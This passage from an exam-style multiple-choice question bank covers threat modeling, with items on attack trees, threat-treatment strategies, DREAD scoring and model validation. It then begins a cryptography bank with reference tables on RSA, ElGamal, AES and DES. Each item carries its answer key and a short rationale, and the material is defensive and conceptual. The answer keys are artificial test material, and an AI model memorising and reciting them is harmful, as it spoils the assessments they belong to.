- C. Choose a representation -> create a root goal -> add subnodes -> consider completeness -> prune and check
- D. Prune the tree -> remove the goal -> skip subnodes -> accept it

Answer: C. Choose a representation -> create a root goal -> add subnodes -> consider completeness -> prune and check

Why: Attack-tree creation proceeds from goal to structured paths and review.

Lecture source: p. 42

Q160. [Select all that apply] Which statements accurately describe attack trees?

- A. They guarantee every unknown attack is covered
- B. They are branching and hierarchical
- C. The root represents a security goal
- D. Branches and subnodes represent ways to reach the goal
- E. Leaf nodes represent terminal techniques

Answer: B, C, D, E. They are branching and hierarchical; The root represents a security goal; Branches and subnodes represent ways to reach the goal; Leaf nodes represent terminal techniques

Why: Attack trees are structured aids, not proofs of completeness.

Lecture source: pp. 38-42

Q161. [EXCEPT / NOT] All of the following are useful steps when applying an attack tree EXCEPT:

- A. Assume the tree is complete and skip checking the real system
- B. Find an appropriate tree
- C. Iterate through the model
- D. Ask whether each branch applies

Answer: A. Assume the tree is complete and skip checking the real system

Why: Trees guide analysis but still require judgment and validation.

Lecture source: p. 42

Q162. [Assertion-reason] Assertion: More precise iteration through an attack tree can be useful in high-stakes analysis.

Reason: Careful branch-by-branch review reduces the risk that relevant attack paths are skipped.

- A. Both statements are true, and the reason correctly explains the assertion
- B. Both statements are true, but the reason does not correctly explain the assertion
- C. The assertion is true, but the reason is false
- D. The assertion is false, but the reason is true

Answer: A. Both statements are true, and the reason correctly explains the assertion

Why: High-stakes analysis benefits from deliberate completeness checks.

Lecture source: p. 42

Q163. [Defensive design] A threat-modeling workshop has a long unstructured list of attack ideas. What improvement would an attack tree provide?

- A. Remove the need to understand the system
- B. Guarantee that every idea is exploitable
- C. Organize ideas into goals, subgoals, and concrete paths
- D. Convert every idea into a firewall port

Answer: C. Organize ideas into goals, subgoals, and concrete paths

Why: Hierarchical organization makes relationships and coverage easier to review.

Lecture source: pp. 38-39

Q164. [True / False] An attack tree can be created for one project or for more general reuse.

- A. Only after deployment
- B. True
- C. False
- D. Only during penetration testing

Answer: B. True

Why: The lecture distinguishes project-specific and general-use trees.

Lecture source: p. 42

Q165. [Diagram reasoning] A diagram begins with "Account takeover" and branches into credential theft, session theft, and recovery-process abuse. What is it most likely?

- A. An attack tree
- B. A DFD data store
- C. A swim-lane diagram
- D. A CVE record

Answer: A. An attack tree

Why: The branches represent alternative paths toward one security goal.

Lecture source: pp. 38-42

9. Threat treatment and mitigation strategies

22 questions. Answers appear immediately below each item.

Q166. [Classification] Which threat-treatment strategy is described here: Make it harder for an attacker to take advantage of the threat?

- A. Eliminate
- B. Transfer
- C. Accept
- D. Mitigate

Answer: D. Mitigate

Why: Mitigate is one possible response to an identified threat.

Lecture source: p. 44

Q167. [Classification] Which threat-treatment strategy is described here: Remove the functionality responsible for the threat?

- A. Transfer
- B. Accept
- C. Eliminate
- D. Mitigate

Answer: C. Eliminate

Why: Eliminate is one possible response to an identified threat.

Lecture source: pp. 44, 46

Q168. [Classification] Which threat-treatment strategy is described here: Let another party handle the problem or responsibility?

- A. Accept
- B. Transfer
- C. Mitigate
- D. Eliminate

Answer: B. Transfer

Why: Transfer is one possible response to an identified threat.

Lecture source: p. 44

Q169. [Classification] Which threat-treatment strategy is described here: Consciously retain the risk when other responses are not reasonable?

- A. Accept
- B. Mitigate
- C. Eliminate
- D. Transfer

Answer: A. Accept

Why: Accept is one possible response to an identified threat.

Lecture source: p. 44

Q170. [Single answer] Which threat-treatment strategy is the default starting point in many cases?

- A. Eliminate every feature
- B. Accept every threat
- C. Ignore the threat until exploited
- D. Mitigate

Answer: D. Mitigate

Why: Mitigation makes exploitation harder when removal is not practical.

Lecture source: p. 44

Q171. [True / False] Threat-treatment decisions almost always involve tradeoffs.

- A. Only during penetration testing
- B. Only after deployment
- C. True
- D. False

Answer: C. True

Why: Security, usability, cost, functionality, and responsibility can pull in different directions.

Lecture source: p. 44

Q172. [Mini case study] A product team removes an unused protocol feature that created an attack surface. Which strategy did it apply?

- A. Detect only
- B. Eliminate
- C. Transfer
- D. Accept

Answer: B. Eliminate

Why: Removing the responsible functionality can remove the underlying bug class.

Lecture source: pp. 44, 46

Q173. [Mini case study] A company uses a specialist external provider to handle a risk that the provider is better equipped to manage. Which strategy is this?

- A. Transfer
- B. Eliminate
- C. Ignore
- D. Tamper

Answer: A. Transfer

Why: Risk handling is delegated to another party.

Lecture source: p. 44

Q174. [Mini case study] A low-impact threat is documented, monitored, and consciously retained because the cost of other responses is unreasonable. Which strategy is this?

- A. Spoof
- B. Eliminate
- C. Escalate privileges
- D. Accept

Answer: D. Accept

Why: Acceptance should be a deliberate decision, not accidental neglect.

Lecture source: p. 44

Q175. [Comparison] Which comparison between elimination and mitigation is most accurate?

- A. Acceptance guarantees that no incident will occur
- B. Transfer removes every legal and operational responsibility automatically
- C. Eliminating a vulnerable feature removes the underlying source, while mitigation reduces exploitability without necessarily removing the source
- D. Mitigation and elimination always mean the same thing

Answer: C. Eliminating a vulnerable feature removes the underlying source, while mitigation reduces exploitability without necessarily removing the source

Why: Removing functionality can fix a problem more fundamentally than adding layers around it.

Lecture source: pp. 44, 46

Q176. [Mini case study] A protocol feature is the source of a memory-disclosure flaw. What is the strongest design-level response if the feature is unnecessary?

- A. Accept the flaw without review
- B. Remove the feature
- C. Add only a warning banner
- D. Increase the number of logs without changing the feature

Answer: B. Remove the feature

Why: Eliminating unnecessary functionality can remove the vulnerability source.

Lecture source: p. 46

Q177. [Misconception check] Which statement about fuzzing is most accurate?

- A. Fuzzing is a valuable testing technique, but it is not itself a mitigation
- B. Fuzzing is identical to TLS
- C. Fuzzing eliminates every vulnerability
- D. Fuzzing is a type of risk acceptance

Answer: A. Fuzzing is a valuable testing technique, but it is not itself a mitigation

Why: Testing can reveal flaws; a mitigation changes the risk.

Lecture source: p. 46

Q178. [Select all that apply] Which controls can help address identity, integrity, or spoofing-related concerns?

- A. Appropriately managed hashes
- B. Passwords and MFA as part of an authorization system
- C. Removing all logs
- D. Permissions
- E. TLS or similar cryptography for authenticating computers over a network
- F. Digital signatures

Answer: A, B, D, E, F. Permissions; TLS or similar cryptography for authenticating computers over a network; Digital signatures; Appropriately managed hashes; Passwords and MFA as part of an authorization system

Why: Authentication, permissions, and cryptographic integrity controls can reduce impersonation and tampering risks.

Lecture source: p. 45

Q179. [Select all that apply] Which controls can help address repudiation risk?

- A. Trusted third parties
- B. Deleting logs immediately
- C. Logging
- D. Log-analysis tools
- E. Secure log storage
- F. Secure timestamps

Answer: A, C, D, E, F. Logging; Log-analysis tools; Secure log storage; Secure timestamps; Trusted third parties

Why: Reliable and protected evidence supports accountability.

Lecture source: p. 45

Q180. [Assertion-reason] Assertion: Implementing a permission system is security-critical and difficult.

Reason: Authorization mistakes are common and can lead to elevation-of-privilege vulnerabilities.

- A. Both statements are true, and the reason correctly explains the assertion
- B. Both statements are true, but the reason does not correctly explain the assertion
- C. The assertion is true, but the reason is false
- D. The assertion is false, but the reason is true

Answer: A. Both statements are true, and the reason correctly explains the assertion

Why: Permission systems need careful design, consistency, and validation.

Lecture source: pp. 36, 45

Q181. [Defensive design] An organization needs evidence that sensitive actions occurred at a trustworthy time. Which control is especially relevant?

- A. Secure timestamps in protected logs
- B. A larger user-interface font
- C. A public password list
- D. A shorter domain name

Answer: A. Secure timestamps in protected logs

Why: Secure timestamps strengthen accountability and repudiation defenses.

Lecture source: p. 45

Q182. [Defensive design] A file must be verified as authentic and unmodified after distribution. Which control is especially appropriate?

- A. A denial-of-service flood
- B. An unprotected redirect
- C. A plain display name
- D. A digital signature

Answer: D. A digital signature

Why: Digital signatures can support authentication and integrity of bits.

Lecture source: p. 45

Q183. [Defensive design] Two computers communicate over an untrusted network and need authenticated encrypted transport. Which control is most appropriate?

- A. A screenshot of the login page
- B. A larger disk
- C. TLS configured for authenticated communication
- D. A DREAD score only

Answer: C. TLS configured for authenticated communication

Why: TLS can provide cryptographic protection and computer authentication over a network.

Lecture source: p. 45

Q184. [EXCEPT / NOT] All of the following can help address repudiation EXCEPT:

- A. Trusted third parties
- B. Disabling logs for sensitive actions
- C. Secure log storage
- D. Secure timestamps

Answer: B. Disabling logs for sensitive actions

Why: Removing evidence makes repudiation risk worse.

Lecture source: p. 45

Q185. [Assertion-reason] Assertion: Removing unnecessary functionality can be a security improvement. Reason: A feature that does not exist cannot contain the same feature-specific vulnerability.

- A. Both statements are true, and the reason correctly explains the assertion
- B. Both statements are true, but the reason does not correctly explain the assertion
- C. The assertion is true, but the reason is false
- D. The assertion is false, but the reason is true

Answer: A. Both statements are true, and the reason correctly explains the assertion

Why: Elimination is often stronger than layered mitigation around an unnecessary feature.

Lecture source: p. 46

Q186. [Troubleshooting] A team says, "We ran fuzzing, so the vulnerability is mitigated." What is the best correction?

- A. Fuzzing automatically patches the service
- B. Testing and mitigation are identical
- C. No further action is ever needed after fuzzing
- D. Fuzzing can reveal flaws, but the team still needs to change the design, code, or controls to reduce risk

Answer: D. Fuzzing can reveal flaws, but the team still needs to change the design, code, or controls to reduce risk

Why: Detection and mitigation are distinct activities.

Lecture source: p. 46

Q187. [Defensive design] A threat cannot be eliminated, transferred, or reasonably reduced further, and the remaining impact is low. What should the team do?

- A. Delete the threat ticket without explanation
- B. Claim that validation is unnecessary
- C. Document and consciously accept the residual risk with appropriate review
- D. Pretend the threat does not exist

Answer: C. Document and consciously accept the residual risk with appropriate review

Why: Acceptance is a deliberate treatment strategy.

Lecture source: p. 44

10. Threat prioritization, DREAD, and risk matrices

16 questions. Answers appear immediately below each item.

Q188. [Single answer] Why prioritize identified threats?

- A. Prioritization replaces validation
- B. Resources are limited, so the team needs a reasoned order for addressing risk
- C. Prioritization proves that low-ranked threats cannot happen
- D. Every threat must receive the same response immediately

Answer: B. Resources are limited, so the team needs a reasoned order for addressing risk

Why: Prioritization helps allocate effort based on severity and practical constraints.

Lecture source: pp. 47-49

Q189. [Select all that apply] Which are threat-prioritization approaches mentioned in the lecture?

- A. Ignore every hard problem permanently
- B. Wait to see
- C. Easy fixes first
- D. Threat ranking with a bug bar
- E. Cost or damage estimation
- F. DREAD
- G. Impact-likelihood matrix

Answer: B, C, D, E, F, G. Wait to see; Easy fixes first; Threat ranking with a bug bar; Cost or damage estimation; DREAD; Impact-likelihood matrix

Why: Teams can choose from several approaches, each with tradeoffs.

Lecture source: pp. 47-49

Q190. [Classification] In DREAD, what does Damage potential measure?

- A. How reliably the attack can be repeated
- B. How feasible it is to carry out the attack
- C. How broadly users or systems are impacted
- D. How much harm the threat could cause

Answer: D. How much harm the threat could cause

Why: Damage potential is one DREAD scoring dimension.

Lecture source: pp. 47-48

Q191. [Classification] In DREAD, what does Reproducibility measure?

- A. How feasible it is to carry out the attack
- B. How broadly users or systems are impacted
- C. How reliably the attack can be repeated
- D. How much harm the threat could cause

Answer: C. How reliably the attack can be repeated

Why: Reproducibility is one DREAD scoring dimension.

Lecture source: pp. 47-48

Q192. [Classification] In DREAD, what does Exploitability measure?

- A. How broadly users or systems are impacted
- B. How feasible it is to carry out the attack
- C. How much harm the threat could cause
- D. How reliably the attack can be repeated

Answer: B. How feasible it is to carry out the attack

Why: Exploitability is one DREAD scoring dimension.

Lecture source: pp. 47-48

Q193. [Classification] In DREAD, what does Affected users measure?

- A. How broadly users or systems are impacted
- B. How much harm the threat could cause
- C. How reliably the attack can be repeated
- D. How feasible it is to carry out the attack

Answer: A. How broadly users or systems are impacted

Why: Affected users is one DREAD scoring dimension.

Lecture source: pp. 47-48

Q194. [Classification] In DREAD, what does Discoverability measure?

- A. How much harm the threat could cause
- B. How reliably the attack can be repeated
- C. How feasible it is to carry out the attack
- D. How likely the issue is to be found

Answer: D. How likely the issue is to be found

Why: Discoverability is one DREAD scoring dimension.

Lecture source: pp. 47-48

Q195. [Single answer] What does the acronym DREAD represent?

- A. Data, Risk, Exposure, Availability, and Downtime
- B. Damage, Repudiation, Elevation, Authentication, and Disclosure
- C. Damage potential, Reproducibility, Exploitability, Affected users, and Discoverability
- D. Detection, Recovery, Encryption, Authentication, and Defense

Answer: C. Damage potential, Reproducibility, Exploitability, Affected users, and Discoverability

Why: DREAD is a multi-factor prioritization method.

Lecture source: p. 47

Q196. [Mini case study] A threat can be triggered easily by almost any remote user and affects nearly the entire customer base. Which DREAD factors are especially concerning?

- A. Only damage potential regardless of reach
- B. Exploitability and affected users
- C. Only discoverability
- D. Only reproducibility

Answer: B. Exploitability and affected users

Why: Ease of exploitation and scope of impact are distinct prioritization dimensions.

Lecture source: pp. 47-48

Q197. [Mini case study] A flaw causes a minor information leak, is difficult to reproduce, and affects very few users. What is the most appropriate use of DREAD?

- A. Score each factor and compare the combined result with other threats
- B. Declare the issue impossible
- C. Treat the damage factor as the only relevant score
- D. Skip documentation because the impact is minor

Answer: A. Score each factor and compare the combined result with other threats

Why: DREAD supports comparative prioritization across several dimensions.

Lecture source: pp. 47-48

Q198. [Comparison] How does an impact-likelihood matrix differ from DREAD?

- A. It proves that high-impact threats are impossible
- B. It is identical to a DFD
- C. It is a vulnerability database
- D. It plots threats using impact and likelihood categories rather than five DREAD dimensions

Answer: D. It plots threats using impact and likelihood categories rather than five DREAD dimensions

Why: Both approaches support prioritization but use different structures.

Lecture source: p. 49

Q199. [Single answer] Which two axes are commonly used in the alternative prioritization matrix described in the lecture?

- A. Source code and object code
- B. Input and output ports
- C. Impact and likelihood
- D. Authentication and authorization

Answer: C. Impact and likelihood

Why: Threats can be plotted by expected impact and probability of occurrence.

Lecture source: p. 49

Q200. [True / False] A threat with a simple fix should always be ranked above every severe threat regardless of impact.

- A. Only after deployment
- B. False
- C. True
- D. Only during penetration testing

Answer: B. False

Why: Easy-fixes-first is one strategy, but teams should also consider severity, likelihood, and tradeoffs.

Lecture source: pp. 47-49

Q201. [EXCEPT / NOT] All of the following are DREAD dimensions EXCEPT:

- A. Encryption strength
- B. Damage potential
- C. Exploitability
- D. Discoverability

Answer: A. Encryption strength

Why: Encryption strength may influence a threat, but it is not one of the five DREAD dimensions.

Lecture source: p. 47

Q202. [Assertion-reason] Assertion: Prioritization does not remove the need to document lower-ranked threats. Reason: System changes or new information can change the risk ranking later.

- A. Both statements are true, and the reason correctly explains the assertion
- B. Both statements are true, but the reason does not correctly explain the assertion
- C. The assertion is true, but the reason is false
- D. The assertion is false, but the reason is true

Answer: A. Both statements are true, and the reason correctly explains the assertion

Why: Threat models and priorities should be revisited over time.

Lecture source: pp. 47-49, 54

Q203. [Defensive design] A team has two threats: one likely but low-impact, and one unlikely but catastrophic. What is the best approach?

- A. Always ignore the low-impact threat
- B. Choose randomly
- C. Use a documented risk-ranking method and make the tradeoff explicit
- D. Always ignore the unlikely threat

Answer: C. Use a documented risk-ranking method and make the tradeoff explicit

Why: Risk matrices and multi-factor approaches make tradeoffs visible.

Lecture source: p. 49

11. Validation, updating, and lifecycle quality assurance

20 questions. Answers appear immediately below each item.

Q204. [Single answer] What are the two main things that should be validated?

- A. Only the highest-ranked asset
- B. The threat model itself and whether identified threats are addressed
- C. Only the diagram font and page layout
- D. Only the penetration-test report

Answer: B. The threat model itself and whether identified threats are addressed

Why: Validation is quality assurance for both the analysis and the responses.

Lecture source: p. 51

Q205. [Select all that apply] Which questions help validate a threat model?

- A. Is the model complete?
- B. Is the model accurate?
- C. Does it cover the security decisions made?
- D. Have relevant experts been involved?
- E. Should the model be updated for a newer version?
- F. Does the diagram contain the company logo?

Answer: A, B, C, D, E. Is the model complete?; Is the model accurate?; Does it cover the security decisions made?; Have relevant experts been involved?; Should the model be updated for a newer version?

Why: Model validation checks quality, coverage, and currency.

Lecture source: p. 51

Q206. [Select all that apply] Which questions help validate threat coverage?

- A. Have we considered relevant attack trees?
- B. Have we gone through the whole STRIDE list?
- C. Do we have a tracked issue for each threat?
- D. Have we listed assumptions?
- E. Did we avoid documenting low-ranked risks?
- F. Have we checked every part of the diagram?

Answer: A, B, C, D, F. Have we checked every part of the diagram?; Have we considered relevant attack trees?; Have we gone through the whole STRIDE list?; Do we have a tracked issue for each threat?; Have we listed assumptions?

Why: A structured validation pass checks the search process and documentation.

Lecture source: p. 52

Q207. [Select all that apply] Which evidence helps show that identified threats are addressed?

- A. An available test
- B. Closed threat issues when work is complete
- C. Tests included in development or deployment procedures
- D. A promise that the system will never change
- E. Documented risk
- F. A selected treatment strategy

Answer: A, B, C, E, F. Documented risk; A selected treatment strategy; An available test; Closed threat issues when work is complete; Tests included in development or deployment procedures

Why: Addressed threats should be traceable from risk to treatment and verification.

Lecture source: p. 53

Q208. [Mini case study] A threat appears in the model but has no issue-tracker entry, no chosen response, and no test. What is the most accurate conclusion?

- A. Validation is unnecessary for documented threats
- B. The threat has not been fully addressed
- C. The threat is eliminated automatically
- D. The model is complete because the threat was named

Answer: B. The threat has not been fully addressed

Why: Threats need traceable treatment and testing.

Lecture source: pp. 52-53

Q209. [Mini case study] A deployed architecture changed to add a new cloud service. What should happen to the threat model?

- A. Update the model and re-evaluate relevant threats and trust boundaries
- B. Keep the old model unchanged forever
- C. Remove all assumptions from the model
- D. Validate only the original components

Answer: A. Update the model and re-evaluate relevant threats and trust boundaries

Why: Models should evolve with system changes.

Lecture source: pp. 51, 54

Q210. [Mini case study] Reviewers discover that team members explain a hidden data flow verbally every time the diagram is discussed. What should be done?

- A. Keep the hidden flow undocumented
- B. Remove the existing data flows
- C. Stop involving reviewers
- D. Add the missing flow or detail to the model

Answer: D. Add the missing flow or detail to the model

Why: Repeated verbal additions signal an incomplete model.

Lecture source: p. 53

Q211. [Mini case study] A DFD contains a component that receives data but has no explained output or effect. What is the best next step?

- A. Delete the component without discussion
- B. Replace the DFD with a DREAD score
- C. Investigate and refine the model because unexplained dead ends are suspicious
- D. Assume the dead end is safe

Answer: C. Investigate and refine the model because unexplained dead ends are suspicious

Why: A useful data-flow model should have no unexplained dead ends.

Lecture source: p. 53

Q212. [True / False] A threat model should be updated when the system, deployment, assumptions, or relevant attack patterns change.

- A. Only after deployment
- B. True
- C. False
- D. Only during penetration testing

Answer: B. True

Why: Threat modeling is iterative over the product lifecycle.

Lecture source: pp. 51, 54

Q213. [True / False] Once a threat issue is closed, associated tests no longer need to be part of development or deployment procedures.

- A. False
- B. True
- C. Only during penetration testing
- D. Only after deployment

Answer: A. False

Why: Tests should remain integrated so regressions can be detected.

Lecture source: p. 53

Q214. [True / False] A model should be checked against reality rather than treated as correct merely because the diagram looks polished.

- A. False
- B. Only during penetration testing
- C. Only after deployment
- D. True

Answer: D. True

Why: Validation includes confirming that the representation matches the actual system.

Lecture source: p. 53

Q215. [Assertion-reason] Assertion: Gathering expertise from everyone involved improves validation.

Reason: Different participants may know components, assumptions, or decisions that are missing from the model.

- A. Both statements are true, and the reason correctly explains the assertion
- B. Both statements are true, but the reason does not correctly explain the assertion
- C. The assertion is true, but the reason is false
- D. The assertion is false, but the reason is true

Answer: A. Both statements are true, and the reason correctly explains the assertion

Why: Threat-model review benefits from cross-functional knowledge.

Lecture source: p. 51

Q216. [Assertion-reason] Assertion: A complete list of assumptions is valuable.

Reason: Changing or broken assumptions can reveal new threats and require model updates.

- A. Both statements are true, and the reason correctly explains the assertion
- B. Both statements are true, but the reason does not correctly explain the assertion
- C. The assertion is true, but the reason is false
- D. The assertion is false, but the reason is true

Answer: A. Both statements are true, and the reason correctly explains the assertion

Why: Assumptions need to be explicit and revisited.

Lecture source: pp. 4, 52, 54

Q217. [Comparison] Which comparison between model validation and treatment validation is most accurate?

- A. Validating the model checks whether the representation is sound; validating treatment checks whether threats have documented responses and tests
- B. Both activities are only visual proofreading
- C. Treatment validation replaces model validation
- D. Model validation is needed only for external entities

Answer: A. Validating the model checks whether the representation is sound; validating treatment checks whether threats have documented responses and tests

Why: Quality assurance covers both the model and the mitigation work.

Lecture source: pp. 51-53

Q218. [Troubleshooting] A team considers validation finished because it ran STRIDE once at the beginning of the project. What is the best correction?

- A. Never update a threat model after release
- B. Delete the issue tracker
- C. Consider only new CVEs and ignore design changes
- D. Revisit the model as the system and attack landscape evolve, and verify that responses remain tested

Answer: D. Revisit the model as the system and attack landscape evolve, and verify that responses remain tested

Why: Threat modeling continues for deployed products.

Lecture source: p. 54

Q219. [Troubleshooting] A model describes an interaction as "data goes somewhere" without identifying the destination. What does this indicate?

- A. The interaction is automatically trusted
- B. The destination can never matter
- C. The flow description is too vague and should be refined
- D. The model is complete

Answer: C. The flow description is too vague and should be refined

Why: Vagueness prevents effective threat analysis.

Lecture source: p. 53

Q220. [Defensive design] Which practice best supports long-term threat-model quality?

- A. Treat assumptions as confidential and undocumented
- B. Maintain versioned models, tracked threats, treatment documentation, and regression tests
- C. Store one unreviewed diagram and never update it
- D. Remove low-ranked threats from all records

Answer: B. Maintain versioned models, tracked threats, treatment documentation, and regression tests

Why: Versioning and traceability help the process remain useful over time.

Lecture source: pp. 51-54

Q221. [EXCEPT / NOT] All of the following are reasons to update a threat model EXCEPT:

- A. The team wants the diagram to look busier without any system or risk change
- B. The system changes
- C. Attack patterns change
- D. New attacks become relevant

Answer: A. The team wants the diagram to look busier without any system or risk change

Why: Updates should be driven by meaningful changes in the system or threat landscape.

Lecture source: p. 54

Q222. [Misconception check] Which statement best summarizes the limits of threat modeling?

- A. It proves the system is invulnerable
- B. It is useful only before coding starts
- C. It replaces monitoring, penetration testing, and incident response
- D. It improves structured security reasoning but does not cover every angle or eliminate the need for testing and updates

Answer: D. It improves structured security reasoning but does not cover every angle or eliminate the need for testing and updates

Why: Threat modeling is one continuing part of a broader security process.

Lecture source: pp. 7-9, 46, 54

Q223. [Defensive design] What is the best final principle for a threat-modeling program?

- A. List attackers only and ignore the system
- B. Prioritize threats without documenting assumptions
- C. Treat it as an iterative engineering process: model, search, address, validate, and update
- D. Run one workshop and archive the result forever

Answer: C. Treat it as an iterative engineering process: model, search, address, validate, and update

Why: The value of threat modeling comes from disciplined repetition and maintenance.

Lecture source: pp. 16, 51-54

End of cleaned question bank

Use the source-page references to locate the relevant material during revision. Threat modeling is an iterative engineering process: model the real system, search systematically, choose treatments, validate the model and the mitigations, and update the analysis as the product and threat landscape evolve.

Lecture 9 - Cryptography

Cleaned exam-style MCQ question bank

245 questions. The correct answer and a concise explanation appear directly below every item.

Exam-style rule: questions test cryptographic goals, symmetric and public-key models, historical cipher calculations, DES and AES parameters, one-time-pad requirements and XOR, textbook RSA, real-world RSA limitations, textbook ElGamal, standardization, and secure-deployment reasoning. Administrative details, lecturer names, auction trivia, movie trivia, slide-order recall, and filler questions are excluded.

Source-page references: retained only as a study-navigation aid; they are not part of the question wording.

Coverage map

Section	Questions
1. Cryptographic goals, families, and modern perspective	20
2. Historical substitution ciphers and calculation practice	38
3. DES, AES, block sizes, keys, rounds, and cryptanalysis	35
4. One-time pad, XOR, key reuse, and modern symmetric constructions	29
5. Public-key encryption and RSA foundations	24
6. Textbook RSA calculation practice and deployment reasoning	40
7. Textbook ElGamal encryption, randomness, and calculations	41
8. Standardization, review, limitations, and secure deployment	18
Total	245

Searchable quick reference - symmetric cryptography

Item	Meaning
Symmetric-key encryption	Encryptor and decryptor rely on shared secret key material
Public-key encryption	Public encryption key; protected secret decryption key
Caesar cipher	Monoalphabetic shift substitution
Vigenere cipher	Polyalphabetic substitution controlled by a repeating key
Enigma	Rotor- and plugboard-based polyalphabetic substitution system
DES	64-bit block, 56 effective secret bits plus 8 parity bits, 16 rounds
AES	128-bit block; 128-, 192-, or 256-bit keys; AES-128 shown with 10 rounds
One-time pad	Random key at least as long as plaintext, shared securely, never reused, XOR-based
ChaCha20-Poly1305	Modern symmetric construction used in Internet and network protocols

Searchable quick reference - public-key cryptography and standards

Item	Meaning
RSA setup	Choose $p, q \rightarrow n = p \cdot q \rightarrow \phi(n) = (p-1)(q-1) \rightarrow$ choose $e \rightarrow d$ is inverse of e modulo $\phi(n)$
RSA public key	(n, e)
RSA secret key	(n, d) , while p and q must also remain protected
RSA encrypt	$c = m^e \bmod n$
RSA decrypt	$m = c^d \bmod n$
ElGamal setup	Choose $p, g, x \rightarrow h = g^x \bmod p \rightarrow$ public key (p, g, h) , secret x
ElGamal encrypt	Choose random k ; $c_1 = g^k \bmod p$; $c_2 = m \cdot h^k \bmod p$
ElGamal decrypt	$s = c_1^x \bmod p$; $m = c_2 \cdot s^{-1} \bmod p$
Standardization	Use reviewed standards, but continue analysis and secure implementation
AES standard	FIPS PUB 197
CMAC	Standardized mechanism used in constrained and wireless settings

1. Cryptographic goals, families, and modern perspective

20 questions. Answers appear immediately below each item.

Q1. [Single answer] What is the most accurate high-level role of cryptography in a system?

- A. Protect data so that secure communication can be achieved even when the channel is not trusted
- B. Guarantee that software contains no implementation bugs
- C. Replace access control, monitoring, and secure coding
- D. Prevent every denial-of-service attack at the network layer

Answer: A. Protect data so that secure communication can be achieved even when the channel is not trusted

Why: Cryptography works at the data level and can protect information transmitted over insecure channels.

Lecture source: pp. 43-44

Q2. [Single answer] Which security goals can cryptographic mechanisms help support?

- A. Only availability
- B. Only physical safety
- C. Only usability
- D. Confidentiality and integrity

Answer: D. Confidentiality and integrity

Why: The lecture summary emphasizes confidentiality and integrity as cryptographic protection goals.

Lecture source: p. 44

Q3. [Comparison] Which statement best distinguishes symmetric-key encryption from public-key encryption?

- A. Symmetric encryption is only historical, while public-key encryption is only theoretical
- B. Public-key encryption publishes both the encryption and decryption keys
- C. Symmetric encryption relies on a shared secret key, while public-key encryption uses a publishable encryption key and a secret decryption key
- D. Symmetric encryption has no keys, while public-key encryption has one key

Answer: C. Symmetric encryption relies on a shared secret key, while public-key encryption uses a publishable encryption key and a secret decryption key

Why: The key-management model is the central distinction.

Lecture source: pp. 6, 26-27

Q4. [Select all that apply] Which items are examples of symmetric-key encryption or symmetric cryptographic constructions?

- A. ChaCha20-Poly1305
- B. RSA
- C. ElGamal encryption
- D. AES
- E. DES
- F. One-time pad

Answer: A, D, E, F. AES; DES; One-time pad; ChaCha20-Poly1305

Why: AES, DES, OTP, and ChaCha20-Poly1305 belong on the symmetric side; RSA and ElGamal are public-key schemes.

Lecture source: pp. 6, 24, 26

Q5. [Select all that apply] Which items are examples of public-key cryptography topics?

- A. Post-quantum cryptography
- B. Caesar cipher
- C. RSA
- D. ElGamal encryption
- E. Digital signatures
- F. Elliptic-curve cryptography

Answer: A, C, D, E, F. RSA; ElGamal encryption; Digital signatures; Elliptic-curve cryptography; Post-quantum cryptography

Why: The lecture places these topics in the public-key part of the overview.

Lecture source: p. 26

Q6. [True / False] Modern cryptography works primarily with bits and bytes rather than alphabet letters.

- A. False
- B. Only for public-key schemes
- C. Only when a standard is involved
- D. True

Answer: D. True

Why: Modern schemes operate on digital data rather than only letter substitutions.

Lecture source: p. 13

Q7. [True / False] Modern cryptographic design is generally developed in secret with no external scrutiny.

- A. Only for public-key schemes
- B. Only when a standard is involved
- C. False
- D. True

Answer: C. False

Why: The modern approach is developed to a large degree in the open.

Lecture source: p. 13

Q8. [Misconception check] A developer says, "Because we use encryption, the whole system is secure." What is the best response?

- A. Any standardized cipher prevents social engineering
- B. Encryption protects specific data-level properties, but the system can still fail through implementation, identity, availability, or operational weaknesses
- C. Encryption automatically removes all attack surfaces
- D. Encryption guarantees correct authorization decisions

Answer: B. Encryption protects specific data-level properties, but the system can still fail through implementation, identity, availability, or operational weaknesses

Why: Cryptography is important but it is one component of system security.

Lecture source: pp. 43-44; compare earlier threat-modeling scope

Q9. [Comparison] Which change best characterizes the transition from classical to modern cryptography?

- A. A move from ad-hoc alphabet-based designs toward scientific analysis of bit- and byte-oriented schemes
- B. A move from public analysis toward secrecy of all algorithms
- C. A move from mathematics toward avoiding mathematics
- D. A move from keys toward keyless protection

Answer: A. A move from ad-hoc alphabet-based designs toward scientific analysis of bit- and byte-oriented schemes

Why: The lecture contrasts alphabet substitution with open, scientific, digital cryptography.

Lecture source: pp. 13-14

Q10. [True / False] Cryptography intersects with mathematics, theoretical computer science, software engineering, and hardware engineering.

- A. False
- B. Only for public-key schemes
- C. Only when a standard is involved
- D. True

Answer: D. True

Why: Modern cryptography spans several disciplines and implementation layers.

Lecture source: p. 14

Q11. [Scenario] A team needs to protect application data traveling across an untrusted network. Which security area is directly relevant?

- A. CPU scheduling only
- B. Source-code formatting only
- C. Cryptography
- D. Physical tailgating prevention only

Answer: C. Cryptography

Why: Cryptography is directly concerned with secure data transmission across insecure channels.

Lecture source: pp. 43-44

Q12. [EXCEPT / NOT] All of the following are appropriate statements about modern cryptography EXCEPT:

- A. It is developed substantially in the open
- B. It works only with human-readable alphabet letters
- C. It uses scientific analysis
- D. It operates on bits and bytes

Answer: B. It works only with human-readable alphabet letters

Why: Alphabet-only manipulation describes classical examples, not the modern field.

Lecture source: pp. 13-14

Q13. [Assertion-reason] Assertion: Cryptography should not be treated as a complete replacement for other cybersecurity controls.

Reason: Cryptographic mechanisms protect selected data-level properties and do not remove unrelated system weaknesses.

- A. Both statements are true, and the reason correctly explains the assertion
- B. Both statements are true, but the reason does not correctly explain the assertion
- C. The assertion is true, but the reason is false
- D. The assertion is false, but the reason is true

Answer: A. Both statements are true, and the reason correctly explains the assertion

Why: A secure design still needs authentication, authorization, patching, monitoring, and operational controls.

Lecture source: pp. 43-44

Q14. [Classification] Which category best fits RSA?

- A. Monoalphabetic substitution cipher
- B. Symmetric block cipher
- C. One-time pad
- D. Public-key encryption

Answer: D. Public-key encryption

Why: RSA is a public-key encryption scheme.

Lecture source: pp. 26-30

Q15. [Classification] Which category best fits AES?

- A. Physical security control
- B. Password-hashing scheme
- C. Symmetric block cipher
- D. Public-key encryption

Answer: C. Symmetric block cipher

Why: AES is a symmetric encryption standard with 128-bit blocks.

Lecture source: pp. 18-20

Q16. [Classification] Which category best fits a one-time pad?

- A. Access-control list
- B. Symmetric-key encryption with perfect secrecy under strict conditions
- C. Public-key signature scheme
- D. Firewall policy

